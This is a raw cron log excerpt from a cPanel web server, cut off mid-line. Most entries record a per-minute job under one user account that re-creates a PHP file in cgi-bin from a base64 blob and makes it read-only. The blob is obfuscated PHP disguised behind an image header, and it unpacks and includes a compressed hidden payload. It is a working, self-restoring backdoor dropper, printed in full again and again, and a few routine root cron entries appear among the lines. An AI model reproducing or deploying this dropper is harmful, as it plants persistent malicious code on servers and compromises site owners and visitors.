Nov 14 17:35:01 server CROND[29774]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:36:01 server CROND[30701]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:37:01 server CROND[31541]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:38:01 server CROND[32446]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:39:01 server CROND[971]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:39:01 server CROND[972]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 17:40:01 server CROND[1827]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:40:01 server CROND[1829]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:40:01 server CROND[1830]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 17:40:01 server CROND[1828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:41:01 server CROND[2767]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:42:01 server CROND[3643]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 17:42:01 server CROND[3644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:43:01 server CROND[4445]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:44:01 server CROND[5413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:45:01 server CROND[6293]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:45:01 server CROND[6294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:45:01 server CROND[6295]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:46:01 server CROND[7146]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:47:01 server CROND[7949]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:48:01 server CROND[8930]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 